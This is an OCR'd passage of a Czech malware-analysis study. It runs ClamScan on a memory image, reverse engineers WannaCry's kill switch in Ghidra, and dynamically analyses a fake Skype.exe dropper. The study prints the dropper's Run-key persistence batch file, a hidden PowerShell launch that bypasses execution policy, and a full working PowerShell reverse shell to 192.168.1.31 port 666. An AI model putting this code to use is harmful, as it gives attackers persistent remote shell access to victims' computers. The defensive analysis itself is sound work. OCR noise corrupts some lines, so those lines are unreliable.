grep -E -0 -i "[\\][a-z0-9A-Z]{1,4}\.(exe|bat|dll|py|txt]|vbs)"
$res/mftparser_$1\_.txt | sort | uniq -c | sort -n >
$res/mftparser_notables $1\ .txt

cut -d "," -f8 $res/mftparser_mactime_$1\_.txt | grep -E -o -i
"I~ 1*[\\][a-z0-9A-Z]{1,4}\. (exe|bat|dll]|py|txt]|vbs)" | sort |
uniq -c | sort -n > $res/mftparser _mactime_notables $1\ .txt
grep -E -i "[\\][a-z0-9A-Z]{1,4}\.(exe|bat|dll]|py|txt]|vbs)"
$res/dlllist _$1\_.* | sort | unig -c | sort -n >

$res/dlllist notables $1\ .txt

echo "autovol.py hotovo"

Spusténim tohoto scriptu pfikazem ,./autovol.sh mem2_image.raw“ dojde
k vytvofeni adresare ,vysledky“, do kterého jsou ukladany informace o provedené

analyze jednotlivymi moduly (psscan, pslist, pstree...) a k vytvofeni adresare
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.exporty“, do kterého jsou ukladany soubory ziskané z obrazu paméti. Tyto
soubory jsou poté dale analyzovany moduly malfind a clamscan, které provadéji
vyhledavani signatur zndmého malwaru a zpravy o vysledcich ukladaji do
adresare ,vysledky®. Prohlidkou souboru ,clamscan_mem2_image.raw_.txt" ktery

obsahuje zpravu o antivirové analyze, je mozné zjistit, Ze v obrazu paméti se

nachazi 2 infikované soubory, jak je patrné z obrazku €. 17:

Open ~ [ clamscan_mem2_image.raw_.txt = _ - ~
1|/cases/exporty/module.1940.2218da0.400000.d11l: Win.Ransomware.Wannacryptor-9940186-0 FOUND
2 /cases/fexporty/module.740.1fde308.400000.d11: Win.Ransomware.WannaCry-6313787-8 FOUND

R R T SCAN SUMMARY -----------
5 Known viruses: 8607436

6 Engine version: 0.103.2

7 Scanned directories: 1

8 Scanned files: 955

9 Infected files: 2

10 Data scanned: 460.88 MB

11 Data read: 463.45 MB (ratio 0.99:1)
12 Time: 804.318 sec (13 m 24 s)

13 Start Date: 2022:03:05 17:20:37

14 End Date: 2022:03:05 17:34:01

PlainText ¥ TabWidth:8 ~ Ln1, Col1 - INS

Obréazek ¢. 17 - Vysledek antivirové analyzy Clamscan

Jedna o znamy ransomware jménem WannaCry, coz je druh vydéraCského
malware, ktery po spusténi zaSifruje obsah disku pocitace s OS Windows a pro

deSifrovani pozaduje platbu na Bitcoinovou penéZenku utoénika.

4.2.2. Reverzni inzenyrstvi programu WannaCry
Pro predvedeni CasteCné analyzy toho malwaru, pouzijeme open-source
disassembler a dekompilator Ghidra33, puvodné vyvinuty americkou agenturou
NSA.

Po spusténi nastroje Ghidra je zapotirebi vytvofit novy projekt, do néj naimportovat
zkoumany soubor, otevfit ,Browser explorer” a Ghidra provede interni analyzu

souboru.

Pro zaCatek je potfeba najit hlavni funkci programu (entry point) ve zkoumaném

souboru. V jazyku C/C++ je hlavni funkci (funkci, ktera se vola po spusténi

33 https://ghidra-sre.org/
41



programu) funkce WinMain() pro Win32 grafické aplikace nebo main() pro aplikace
bézici v pfikazove fadce.
V okné ,Symbol Tree“ v zalozce ,Exports“ se nachazi funkce entry. Po poklepani

na nazev funkce se kurzor v okné dekompilatoru (okno vpravo) zobrazi zdrojovy

kod funkce entry, ktera reprezentuje funkci WinMain() (viz. Obrazek €. 18).

CodeBrowser: WnCry:fwannacry

File Edit Analysis Graph Mavigation Search Select Tools Window Help
He-= BPREEFER JIDULFRYB: 8% oo vRIEDGL0BS 34| @

regram Trees FIER=1ES : wannacry - (5 addresses selected) b B ERES Decomplle: entry - (wannacry)
g 9 fv 5 p y 1y
v B wannacry MSVCRT .DLL: :operator_new XREFT6]: FUN_00408200: 0040821e (¢ 5
Headors FUN_00408200; 00408285 D |/* WARNING: Globals starting with
ot FUN_ ¢ A
B o FUN_00408db0: 00408db2( | [void entry(void)
] rdata FUN_ 004086 F2(,
data FUN_00409470; 004094 5|t
rsrc 0040510 f 25 04 IHP dvord ptr [->MSVCRT.DLL: :operator_nev] 7| undefineda

al 40 00
Program Tree x

'
*  FUNCTION

>i undefined _ stdcall entry(void)

undefined -
undefined4 Stack[-0x8]:4 local_8 XREFI1]: 00409a3e (W,
undefineda Stack[-0x1c] :4 local_1c XREF[1]: 00409339 (W

undefined2 Stack[-0x30] :2 1ocal_30 XREF[1] 00409b 26 (R) y undefined4

undefineda Stack[-0x34] 14 local 34 XFEFI2]:  00409013(4), )| undefined *
00409b20 (R) 5| undefined ¥

undefinedl Stack[-0x60] :1 local_80 XREF[1]: 00409b16(*) undefined4

undefinedl Stack[-0x64]:1 local_64 XREF[1] 00409ac7 (*)

undefinedl Stack [-0x68] :1 local 68 XFEFIL]:  00409abf (+)

undefined4 Stack [-Ox6c] 14 local_6c XFEFIL:  00409b4a (W) ke

undefineda Stack[-0x70] :4 local 70 XREF[2] 00409ab2(wW), |V

|+ i pata Types ] < Yr

Obrazek ¢. 18 - Okno néstroje Ghidra se zobrazenou funkci ,entry*

Ve funkci ,entry“ se nachazi volani dalSich funkci, ¢imz dochazi k vétveni
programu. Nastroj Ghidra umozniuje graficky znazornit interaktivni strom volani
funkci, pro jehoz zobrazeni je potfeba kliknout na volbu ,Function Call Graph®,
v zalozce ,Window“ v hlavnim menu. Na obrazku €. 19 je zobrazen strom funkci,

které jsou funkci ,entry“ volany.

_initterm

GetStartuplnfod
antry

FUN_00405bal

GetModuleH andles

__set_app_type

' FUMN_00D402140

_p_frmode

_p_commode ' -

__setusermatherr __getmainargs

FUN_00409b8c

Obrazek ¢. 19 - Ukazka okna Function Call Graph

42



Dvojitym poklepanim na nazvy jednotlivych funkci je mozné nahlizet na dalsi
volani, ktera jednotlivé funkce obsahuji. Timto nastrojem Ize ziskat lepSi prehled

o vnitfni struktufe programu (viz Obrazek ¢C. .

entry

FUMN 00408140

A 4
InternetOpena '

FUM_00408080
\ 4 L 4

InternetOpenUriA InternetCloseHandle

Obrazek ¢. 20 - Strom volani funkci
Nazev funkce ,FUN_00408140“ odkazuje na adresu registru paméti, na které se
funkce nachazi, aby se s funkci Iépe pracovalo, je mozné ji pfejmenovat napfiklad
na ,ZAJIMAVA FCE*® (viz Obrazek €. 21).

4 Listing: wannacry NI ERE: Decompile: ZAJIMAVA_FCE G E T
R e e e e e T e e e e e e e e T 1 T
undefined4 _ stdcall ZAJIMAVA_FCE(void) 2 |undefineda ZAJIMA\’F_FCE(VO].G)

undefinedd EAX:4 <RETURN> 3
undefinedl Stack[-0x1]:1 local 1 XREFI1]: 00408177 (W a4 {
undefined2 Stack[-0x3]:2 local_3 XREF[1]: 0040816¢ (W 5 undefinedd4 uVarl;
undefineds Stack[-0x7]:4 local 7 XREF[1]: 00408168 (W 6| int ivar2;
undefined4 Stack[-Gxb]:4 local b XREFI1]: 00408164 (W 7 undefinedd *pu 3
undefined4 Stack[-0xf]:4 local_f XREF[1]: 00408160 (W 8 undefined4 *puvar
undefineds Stack[-0x13]:4 local_13 XREFI1]: 0040815¢ (W 9| undefinedd ust
undefined4 Stack[-0x17] :4 local 17 XREFI1]: 00408158 (W el undefinedd ust.
undefinedl Stack[-0x50] :1 local_50 XREF[1]: 0040814 (*) 11 undefined4 uStack
ZAJIMAVA_FCE XREF[1]: entry:00409b45(c) 12 undefinedd loc [14];
" J0408140 83 ec 50 SUB ESP, 0x50 L3 undefinedd
00408143 56 PUSH EST 14 undefined4
00408144 57 PUSH EDI ik} undefinedd
00408145 b9 Oe 00 MoV ECX, Oxe L6 undefinedd
00 00 17 undefined4
0040814a be do 13 MoV ESIL,s_http://www.iugerfsodpoifjaposdfi_o04313de 18 | undefined2
43 00 19 | undefined _
0040814f &d 7e 24 08 LEA EDT==local_S0, [ESP + 0x8] iele)
00408153 33 cO XOR EAX, EAX p1 finedd *)s_http://www. iugerfsodpaifjaposdf]
00408155 f3 a5 MOVSD.REP  ES:EDT,EST=>s_http: //www.iugerfsodpdifiaposdfi... ) 505
00408157 a4 MOVSB ESEDT, ESI=>s_http://www.iugerfsodpoifjaposdfi... b D iVar2 != 0; iVar2 = iVar2 + -1) {
00408158 89 44 24 41 MoV dword ptr [ESF + Tlocal 171,E4 8 2} *puyard = *puyars;
PLE T « T

Obrazek ¢. 21 - Pfejmenovani funkce

V téle funkce ,ZAJIMAVA_FCE" se nachazi volani funkci s nazvy ,InternetOpenA*®
a ,InternetOpenURLA“. Dle dokumentace Win32 APl Wininet34, funkce

34 https://docs.microsoft.com/en-us/windows/win32/api/wininet/nf-wininet-internetopena
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,InternetOpenA*® inicializuje internetové pfipojeni prostfednictvim podporovanych
IP protokolu. V pfipadé uspésného pfipojeni vytvafi tzv. handler, ktery se predava
jako parametr funkci ,InternetOpenURLA®. Tato funkce se pokusi pfipojit k URL
adrese, kterd se nachazi v proménné ,puVar3“, jak je vidét na obrazku &. 22.

LAJLIp PO | unusiLisus e

004313d0 #9878 77 qs TILLR: 7 /Www. LUQEl TS00POLT JaposaT JNgosUr L] Taewr ... L HIUETITELSTonat o
70 33 l IJ 18 | undefined2 local _3;
2f 77 77 .. “http:/fwww. iugerfsodp9ifiaposdfjhgosurifaswrwergwea com” |

00431409 00 77 0oh C |

0043140a 00 77 0oh 21 (undefinedd #)s_http://www.iugerfsodpSifjaposdf]|o04313do; |
0043140b 00 ?? och =22 puVard = local_S0;

043140c 00 ?? 0eh 23| for (1Var2 = Oxe; iVar2 != 0; iVarz = iVarz + -1) {

Obrazek ¢. 22 - Obsah proménné puVar3 ve funkci "ZAJIMAVA_FCE"

V pripadé, ze funkce ,InternetOpenURLA® vrati hodnotu ,0“ tj. pokud se nepodafi
pfipojeni k uvedené URL adrese, dojde k ukon&eni pfipojeni a k zavolani funkce
s nazvem ,FUN_00408090“ a program dale pokracCuje ve své Cinnosti. Pokud by
v8ak funkce ,InternetOpenURLA® vratila jinou hodnotu nez ,0% dojde rovnou
k ukon&eni spojeni a nasledné celého programu. Toto feSeni funguje jako tzv.“Kill

Switch“ aplikace (viz obrazek ¢&. 23).

29 | uvarl = InternetOpena(0,1);

40 | 1Var2 = InternetOpenUrlA{uVarl, &uStackloo, 0,0, 0xB4000000, 0);
41 | if (ivarz == 0) {

42 InternetCloseHandle (Uvarl);

43 InternetCloseHandle(0):

44 FUN_ 00408090 () ;

45 return o;

46 |}

47 InternetCloseHandle (Uvarl);
48 InternetCloseHandle (1varz);
49 return o;

Obrazek ¢&. 23 - Kill Switch programu WannaCry

Ovérenim dostupnosti URL adresy v proménné ,puVar3“ bylo zjisténo, Zze adresa
Shttp://www.iugerfsodp9ifiaposdfjhgosurijffaewrwergwea.com/“ je registrovana
spol. KryptosLogic. Ztohoto dlvodu by se navratova hodnota funkce
,InternetOpenURLA" nerovnala 0 a doslo by k ukoneni programu WannaCry,
aniz by v systému proved| néjaké zmény. Tato podivna funkcionalita programu
WannaCry byla jeho tvarci implementovana pravdépodobné pro pfipad potfeby
budouciho hromadného znefunkénéni spousténi vSech dalSich kopii programu, a

to prostou registraci uvedené domény.
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(pozn. Uvedena ,nesmysina“ URL adresa byla zaregistrovana zamérné, jako
obrana proti ransomwaru WannaCry. Timto opatfenim doSlo prakticky okamZzité
k znefunkénéni dalsich instalaci tohoto malwaru. Viz https://www.wired.com/

2017/05/accidental-kill-switch-slowed-fridays-massive-ransomware-attack/)

Pokud by uvedena adresa registrovana nebyla, doSlo by k volani funkce
,FUN_00408090“ a program by pokracoval.

Prochazenim dalSich volanych funkci, byla objevena zajimava funkce s nazvem
,FUN_00407c40° ktera zajistuje, Ze spustény program WannaCry se v operacnim

systému zaregistruje jako sluzba s nazvem ,Microsoft Security Center 2.0% jak

ukazuje obrazek C. 24.

Decompile: FUN_00407c40 - (wannacryl % Ol s
2 |undefined4 FUN_00407c40(void)
4 {
5 SC_HANDLE hSCHanager;
6| SC_HANDLE hService;
7| char local_l04 [260];
9| sprintf(local_104,s_%s_-m_security_00431330, &1pFilename_0070760) ;
10
11 if (hsch:
12 hService = CreateServiceA(hSCHManager,s_mssecsvc2, 0 _004312fc,
13 s_Microsoft_Security Center (2.0)_S_00431308,0xf01ff,0x10,2,1,
14 local_104, (LPCSTR)@x0, (LPDWORD)8x0, (LPCSTR)0x0, (LPCSTR)Gx0, (LPCSTR)0x0
15 )
16 if (hservice != (SC_HAMDLE)Ox0Q) {
17 StartServiceA(hService, D, (LPCSTR *)0x0);
15 CloseServiceHandle (hService);
19 }
20 CloseServiceHandle (RSCHanager):
21 return ©;
22 H
23 return 0;
24 |}

Obrazek ¢. 24 - Registrace sluzby

Takové pojmenovani ma opticky pusobit jako dlvéryhodna systémova sluzba

vydana pfimo spol. Microsoft.

4.2.3. Zaveér analyzy
V otisku paméti byla nalezena data, jejichZz signatura odpovida znamému
ransomware WannaCry. Kompletni analyza tohoto malwaru by dalece pfekrod€ila
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povoleny rozsah této prace. Vzhledem k tomu, Ze funkcionalita WannaCry je
dostate¢né popsana v otevienych zdrojich®® neni potfeba v analyze dale

pokracovat.

4.3. Dynamicka analyza malware
Jako dalSi ukazka je pfedvedena dynamicka analyza vzorku dat. Zkoumany
soubor je analyzovan z hlediska zmén provadénych v systému, procesu volanych
po spusténi souboru a z hlediska jeho pfipadné sitové aktivity. Analyza je
provadéna v izolovaném prostredi virtualniho pocitaCe, konkrétné v distribuci
FlareVM.

Pfedmétem analyzy je vzorek s nasledujicimi parametry:

e Na&zev souboru: Skype.exe
e Velikost souboru: 273 407 B

e SHA256 Hash: b332ch7edch82fe4b5f3c01a01153bd9f0aaafObeb38618a9d4b0c09f773eed5

Linuxovym nastrojem ,file“ bylo zjisténo, ze zkoumany vzorek je typu PE32, tedy

spustitelny soubor OS Windows (viz. Obrazek €. 25).

O user@LAPTOP-X390: ~

:~% sudo file Skype.exe

ssword T user:

[sudo] pa
Skype.exe: PE32 executable (GUI) Intel 88386, for MS Windows

Obrazek ¢. 25 - Vystup pfikazu "file"

Nastrojem ,strings“ (ze sady nastroji Sysinternals), nebyly zjistény zadné

zajimavé fetézce, které by vypovidaly o funkénosti zkoumaného programu,

35 https://www.kaspersky.com/resource-center/threats/ransomware-wannacry,
https://en.wikipedia.org/wiki/WannaCry_ransomware_attack
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zajimavé je snad zjisténi vyskytu ¢eskych vyrazu. Z toho lze usuzovat, Ze program

byl vytvofen na operacnim systému s Ceskym jazykovym prostfedim.

Dale byla provedena analyza antivirovym online nastrojem Virustotal. Z obrazku
C. 26. je patrné, Ze dopadla vysledkem 18/67, tedy 18 antivirovych nastroju z 67
dostupnych, vyhodnotilo vzorek jako soubor s obsahem znamého Skodlivého
kodu.

Vzhledem k tomu, Ze nastroj VirusTotal sdili informace o analyzovanych datech
s vefejnou komunitou uzivatelt tohoto nastroje, by bylo v praxi jisté vhodné&jsi

provést tuto analyzu na offline verzi antivirového nastroje.

,I 8 ‘ (1) 18 security vendors and no sandboxes flagged this file as malicious

b332cb7edcbB2fe4bsf3c01201153bd9f0aaaf0beb3861829d4b0c09773eeds 267.00 KB 2022-03-09 17:04:08 UTC

Skype.exe

overlay  peexe

DETECTION DETAILS BEHAVIOR COMMUNITY
AlYac (1) HeurBZC.PZQ.Boxter6009.8D8632D1 Arcabit (1) HeurBZC.PZQ.Boxter.6009.8D8632D1
Avast () Script:SNH-gen [Trj AVG (1) Script:SNH-gen [Tr]
BitDefender (D Heu 2D1 Cybereason a
Cynet (O Malic Emsisoft (D) HeurBZC.PZQ.Boxter.6009.8D8632D1 (B)
eScan (1) HeurBZC.PZQ.Boxter.6009.8D8632D1 ESET-NOD32 (D PowerShelliAgent.Al
GData () HeurBZC.PZQ.Boxter.6009.8D8632D1 MAX ore=85)
McAfee-GW-Edition ic.dh Microsoft (O] negalmi
Rising gent!8.BiE (TOPIS:EQ:RSFMSVZYZ Trellix (FireEye) (1) HeurBZC.PZQ.Boxter.6009.8D8632D1
VBA32 () BScopeTrojan.Meterprate Zillya () Trojan BingomlWin32.8346
Acronis (Static ML) ) Undetected Ad-Aware ') Undetected
AhnLab-V3 () Undetected Allbaba () Undetectad

Obrazek ¢. 26 - Vysledek skenovéani nastrojem VirusTotal

Dale bylo ve vlastnostech souboru (viz Obrazek ¢&. 27) zjisténo, Ze se
pravdépodobné jedna samorozbalovaci archiv. Cesta pro rozbaleni je napevno
nastavena do umisténi ,%APPDATA%\Microsoft\Update“. (%APPDATA% je
systtmova proménna, ktera odkazuje do umisténi ,C:\Users\<uzivatel>

\AppData\Roaming®. )
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5% Skype.exe—vlastnosti X

Obecné Kompatibilita Informace o archivu
KemertaF archivu ~ Zabezpedeni  Podrobnosti  Pfedchozi verze

jNiZe uvedeny komenta# cbsahuje skrij

Path=3%APPDATA%\Microsoft\Update
Setup=install.bat

Silent=1

Overwrite=1

Zrust Poutit

Obrazek ¢. 27 - Vypis vlastnosti souboru

4.3.1. Priprava prostredi pro dynamickou analyzu
Pfed samotnym spusténim souboru je potfeba pfipravit nékolik véci. Jako prvni je
potfeba zadokumentovat aktualni stav systémovych registri. K tomu lze pouzit
nastroj Regshot (viz ¢ast 3. Analytické nastroje), jehoz rozhrani je predvedeno na

obrazku ¢. 28. K zachyceni stavu registri pak pouze staci stisknout tlacitko ,1st

shot”.
wy Regshot 1.9.0x64 Unic... — >
& I :
ompare logs save as Istshot
(®) Plain TXT  {_JHTML document
2nd shot
[]scan dir1[;dir2;dir3;...;dir nn]: Compare
C:YWindows
Clear
Output path: Quit

C:WUsersivahas Data i|
|

Add comment into the log:

| | Enalish w

Obrazek ¢. 28 - Program Regshot
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K dynamické analyze bude dale pouzit nastroj Process Monitor (viz ¢ast 3.
Analytické nastroje) se spusténym zaznamem udalosti a s filtry nastavenymi pro

zobrazeni typickych €innosti, které muze vykonavat vétSina malwaru:

e Operation is Process Create - zobrazeni procesu, které byly vytvofeny po

spusténi zkoumaného souboru

e Process Start — zobrazeni procesu, které se spustily po spusténi

zkoumaného souboru
e CreateFile — zobrazeni procesu vytvarejicich soubory

e Operation is WriteFile - zobrazeni procesu zapisujicich do souboru

e Operation is RegCreateKey — zobrazeni procesu vytvarejicich klice v

registrech

e Operation is RegSetValue — zobrazeni procest ménicich hodnoty registru

e Operation is TCPConnect — zobrazeni procest vytvarejicich sitové

pfipojeni
e TCPReceive — zobrazeni procesu naslouchajicich pfichozim sitovym
pfipojenim

e Operation is Load image — zobrazeni DLL knihoven nacitanych po spusténi

souboru

e Process Name is — zobrazeni procesl odpovidajici konkrétnimu nazvu

Na obrazku €. 29 je ukazka okna nastroje Process Monitor, pro konfiguraci filtr(,
vySe uvedenych filtrd. Pokud by nebyly tyto filtry aplikovany, byl by seznam

procesu velmi obsahly a nebylo by mozné se v ném dobfe orientovat.

Filtry tak umoznuji efektivni skryti zaznamu, které nemaji souvislost se

spousténym souborem, a naopak zobrazit procesy s nim spojené.
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B Process

Meniter Filter

Display entries matching these conditions:

Filters were in effect the last time you exited Process Monitor:

Process Mame ~ ||is w || emd.exe V| then |Include ~
Reset Remaowe
Column Relation Walue Action &
@ Process Name is Skype .exe Include
@ Process Name is powershell exe Include
@ Process Name is cmd.exe Include
i P1D is 2444 Include
i P1D is 6312 Include
i P1D is 640 Include
i P1D is 6304 Include
i P1D is 334 Include
@ Operation is CreateFile Include
@ Operation is Process Create Include
@ Operation is Process Start Include
@ Operation is RegCreate Key Include
@ Operation is RegSetValue Include
@ Operation is TCP Connect Include
@ COperation is TCFP Receive Include
@ Operation is Load Image Include
@ COperation is WriteFile Include
3 User is DESKTOP-PU7...  Include
@ Categol is Write Include o
T . e - .
oK Cancel Apply

Obrazek ¢&. 29 - Nastaveni filtrd nastroje Process Monitor

4.3.2. Provedeni dynamické analyzy

Po provedeni prfedchozich nastaveni Ize pfikrocit k procesu samotné dynamické

analyzy.

Po spusténi zkoumaného souboru jsou v okné Proces Monitoru vypisovany

procesy souvisejici se zkoumanym vzorkem (viz Obrazek &. 30):

File Edit Event Filter Tools

EEHILIRm Y

Time of Day ~ Process Name

21:28:54,4298661 25 Skype exe
21:28:54 4258897 = Skype eve
21:28:54,4293070 25 Skype exe
21:28:54,4259272 % Skype eve
2128:54, 4319828 2= Skype eve
21:28:54,4320024 2% Skype eve
2128:54, 4320186 2= Skype eve
21:28:54 4320403 25 Skype ene
2128:54 5070625 2% Skype eve
21:28:54 5475745 % Skype ene
2128:54, 8519474 [giomd exe
21:30:03,3652500 E¥pawershellexe
2130:134587763 Epowershell exe

Showing 13 of 604 614 events (0.0%)

B Process Monitor - Sysinternals: www.sysintemals.com

Options  Help

$ =
PO & FLONEAD R
PID  Operation Path
3668 [ RegSetValue  HKCLISOFT \Windows'Curent Settings p\FroxyByp:
3668 [ RegSetValue  HKCUNSOFTWARE\Microsoft\Windows\Current Version'\Intemet Settings'Zone Map\IntranetName
3668 [ RegSetValue  HKCLISOFTY \Windows'Curent SettingsZoneMapUNCAslniranet
3668 [ RegSetValue  HKCLNSOFTWARE\Microsoft \Windows \Current’ I Settings\ZoneMap\ALtoDetect
3668 [ RegSetValue  HKCUNSOFTWARE \Microsoft\Windows'Curren I Settings"ZoneMap* ProxyEiyp
3668 [ RegSetValue  HKCLNSOFTWARE\Microsoft \Windows \Current’ I Settings'ZoneMap \ntranetNam
3668 [ RegSetValue  HKCUNSOFTWARE Microsoft\Windows'Current I Settings"ZoneMap UNCAslniranet

gSetValu HKCUNSOFTWAREMi ot \Windows Current Version\l

3688 KR
3668 [B RegSetValue  HKLM\System'CurentCortrolSet\Services bam' State'\ UserSettings\5-1-5-21-2807877525- 1483023060413

Setfings\ZaneMap\AutoDetect

3668 [ RegSetValu HKLM\SOFTWAREMi ft\Windows NTACumertVersion’\Notif

1636 [ RegSetValue  HKLM\System’\CurentControl Set\Services\bam'State' UserSettings\S-1-5-21-2807877525- 1483023060413
828 [ RegSetValue  HKLM\System'\CumentControl Set\Services \bam"State\UserSettings'\5-1-5-21-2807877529-1483023060-413...
888 [ RegSetValue  HKLM\System'\CumentCortrol Set\Services \bam' State'\ UserSettings\S-1-5-21-2807877525- 1483023060-413.

Backed by virtusl memory

Data‘\418A0° BC475

Resutt Detai

SUCCESS Type:
SUCCESS Type:
SUCCESS Type:
SUCCESS Type:
SUCCESS Type:
SUCCESS Type:
SUCCESS Type:
SUCCESS Type:
SUCCESS Type:
SUCCESS Type:
SUCCESS Type:
SUCCESS Type:
SUCCESS Type:

REG_DWORD, Length: 4, Data: 1
REG_DWORD. Length: 4. Data: 1
REG_DWORD, Length: 4, Data: 1
REG_DWORD, Length: 4, Data: 0
REG_DWORD, Length: 4, Data: 1
REG_DWORD, Length: 4, Data: 1
REG_DWORD, Length: 4, Data: 1
REG_DWORD, Length: 4, Data: 0
REG_BINARY, Length: 24, Data: EA 26
REG_BINARY, Length: 560, Data: 86 01 ...
REG_BINARY, Length: 24, Data: C2 A1
REG_BINARY, Length: 24, Data: 64 4E ...
REG_BINARY, Length: 24, Data: 10 6B

Obrazek ¢. 30 - Vypis spousténych procest v Process Monitoru




Za povsimnuti stoji zejména spoustény proces pfikazového fadku ,cmd.exe® a
proces ,powershell.exe“. Zobrazeni vlastnosti jednotlivych procest je mozné

dvojklikem na nazev procesu v seznamu.

V pripadé cmd.exe je z vlastnosti procesu mozno vycist napf., Ze v poli ,Modules®
jsou vypsana volani systémovych zdroja, jejich umisténi na disku, adresy
informace nachazi v poli ,Command Line“, kde je uveden pfikaz, ktery proces

cmd.exe spousti (viz Obrazek €. 31):

,cmd.exe /c

C:\Users\vahas\AppData\Roaming\Microsoft\Update\install.bat*

Tento pfikaz znamena, Ze program cmd.exe ma vykonat instrukce v davkovém

souboru install.bat z uvedeného parametru.

% Event Properties - 00 X

é; Event {8p Process £ Stack

Image
T Windows Command Processor
Microsoft Corporation
Mame: crd.exe

Version:  10.0.19041.1 (WinBuild.160101.0800)

Path:
| C\Windows\SysWOW64\cmd.exe |

Command Line:

| C\Windows\system32\cmd.exe /¢ " C\Users\vahas\AppData\Reaming\Microsoft\Update\install bat" * |

PID: 640 Architecture:  32-bit

Parent PID: 6904 Virtualized: False

Session ID: 1 Integrity: Mandatory Label\Stredni pe

User: DESKTOR-PUTPB7C\wahas

Auth |D: 00000000:0001 b2

Started: 09.03.2022 19:54:59 Ended: 09.03.2022 19:54:59

Madules:
Medule Address Size Path Company Versicn Ti™
sechost.dll (76370000 (75000 C\Windows\SysWOW6d\sechost... Microsoft Cor.. 10019011 (.. 1

Obréazek ¢. 31 - Vlastnosti procesu cmd.exe
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V prohlize€i soubort je tedy mozné zobrazit obsah adresare ,C:\Users\vahas

\AppData\Roaming\Microsoft\Update“ ve kterém se nachazi odkazovany soubor

install.bat:
(e = | Spravovat Update - O X
Domi sdileni’ Zobrazeni Mastroje aplikace o
“ v ‘ w ') Prohledat: Update
~
Nazev Datum zmény Typ Velikost

3t Rychly piistup

[%] install.bat 0 1kB
I Plocha
[%2] SystemUpdate.bat 0 1 kB
‘ Stazené soubory & WindowsUpdate.ps1 0 Windows Powers... 2 kB
|| Dokumenty
&=| Obrazky
@ OneDrive
[ Tento poéitaé
b sit
Pocet poloZek: 3 Pocet vybranych poloZek: 1; 128 bajtd -

Obrazek ¢&. 32 - Obsah vytvorfeného adresare

Z obsahu adresafe na obrazku €. 32 je patrné, Zze se v ném nachazi 3 soubory,

Z nichz jeden je spoustény soubor s nazvem install.bat®.

Z jeho obsahu (viz Obrazek €. 33) lze zjistit, Ze tento soubor po svém spusténi
zapisuje do registru systému Windows novou hodnotu. Konkrétné zapsal novou
hodnotu do klice "HKCU\SOFTWARE\Microsoft\Windows\ CurrentVersion\Run®.
Jelikoz v kli¢i Run jsou ulozené cesty k programim, které se spoustéji po kazdém
startu operacniho systému, bude spustén i soubor, jehoz cesta je uvedena v nové

vytvofené hodnoté Assassin, tj.:

,YoAPPDATA%\Microsoft\Update\SystemUpdate.bat®

"7 install.bat - Poznamkovy blok — O ®

Soubor Upravy Format Zobrazeni MNapovéda
BECHO OFF
REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Assassin" /t REG_SZ /F /D "%APPDATAX\Microsoft\Update\SystemUpdate.bat"”

Radek 1, Sloupec 1 100 %  Windows (CRLF) UTF-8

Obrazek ¢. 33 - Obsah souboru install.bat
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Tento predpoklad Ize dolozit tim, Ze se po spusténi zkoumaného vzorku pofidi
druhy obraz registri nastrojem ,Regshot” a provede se komparace téchto obrazu.
Vysledkem komparace je zprava o zménach provedenych v registrech, od

pofizeni prvniho obrazu registrl (viz obrazek €. 34).

| *~res-x64_0000.txt - Poznémkovy blok — m] X
Soubor Upravy Format Zobrazeni MNapovéda

Regshot 1.9.9 x84 Unicode ~
Comments:

Datetime: 2022/3/9 22:03:08 , 2022/3/9 22:04:09

Computer: DESKTOP-PU7PB7C , DESKTOP-PU7PB7C

Username: vahas , vahas

HKU\S-1-5-21-2807877520-14830223060-4137762414-1000\SOFTWARE\Microsoft\Windows\CurrentVercion\Run\Accaccin: "C:\Userc\vahash
AppData\Roaming\Microsoft\Update\SystemUpdate.bat"

< >
+
Rédek 11, Sloupec 27 110%  Windows (CRLF) UTF-16 LE

Obrazek ¢&. 34 — Vysledna zprava nastroje Regshot

Zpét k souboru ,SystemUpdate.bat®, ten obsahuje pfikaz pro skryté spusténi
programu cmd.exe, ktery dale vola program powershell.exe (viz Obrazek ¢&. 35).
PowerShell vykona pfikazy uvedené v souboru ,%APPDATA%\Microsoft\Update\
WindowsUpdate.ps1“.

| systemUpdate.bat - Poznamkovy blok - m} b4

Soubor Upravy Format Zobrazeni Mapovéda
BECHO OFF
cmd fc start /min "" powershell -ep bypass -NoP -Nol -windowstyle hidden %APPDATAX\Microsoft\Update\WindowsUpdate.psl

Radek 1, Sloupec 1 100 %  Windows (CRLF) UTF-8

Obrazek ¢. 35 - Obsah souboru SystemUpdate.bat

Zadany parametr ,-ep bypass”® zajisti obejiti systémovych restrikci pro spousténi
nepodepsanych powershellovych scriptl, parametry ,-NoP“ a ,-NoL“ znamenaji
spusténi v rezimu NoProfile a NoLogo a ,-windowstyle hidden“ znamena, ze okno

powershellu nebude zobrazovano na ploSe operacniho systému.

Posledni soubor ,WindowsUpdate.ps1“ obsahuje nasledujici powershellovy script:

sfunction cleanup {
if ($client.Connected -eq $true) {$client.Close()}
if ($process.ExitCode -ne $null) {$process.Close()}
exit}

$address = '192.168.1.31"
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$port = '666"

$client = New-Object system.net.sockets.tcpclient
$client.connect($address, $port)

$stream = $client.GetStream()

$networkbuffer = New-Object System.Byte[] $client.ReceiveBufferSize
$process = New-Object System.Diagnostics.Process
$process.StartInfo.FileName = 'C:\\Windows\\System32\\cmd.exe'
$process.StartInfo.RedirectStandardInput = 1
$process.StartInfo.RedirectStandardOutput = 1
$process.StartInfo.UseShellExecute = @

$process.Start()

$inputstream = $process.StandardInput

$outputstream = $process.StandardOutput

Start-Sleep 10
$encoding = new-object System.Text.AsciiEncoding

while($outputstream.Peek() -ne -1){$out +=
$encoding.GetString($outputstream.Read())}
$stream.Write($encoding.GetBytes($out),0,%out.Length)
$out = $null; $done = $false; $testing = 0;
while (-not $done) {
if ($client.Connected -ne $true) {cleanup}
$pos = 9; $i =1
while (($i -gt @) -and ($pos -1t $networkbuffer.Length)) {
$read = $stream.Read($networkbuffer,$pos, $networkbuffer.Length - $pos)
$pos+=$read; if ($pos -and ($networkbuffer[0..$($pos-1)] -contains 10))
{break}}
if ($pos -gt @) {
$string = $encoding.GetString($networkbuffer,0,$pos)
$inputstream.write($string)
start-sleep 10
if ($process.ExitCode -ne $null) {cleanup}
else {
$out = $encoding.GetString($outputstream.Read())
while($outputstream.Peek() -ne -1){
$out += $encoding.GetString($outputstream.Read()); if ($out -

eq $string) {$out = ''}
}
$stream.Write($encoding.GetBytes($out),0,$out.length)
$out = $null

$string = $null
}
}

else {cleanup}

}ﬂ'

Script vytvari sitovy socket - TCP pfipojeni k adrese 192.168.1.31 a portu 666 a
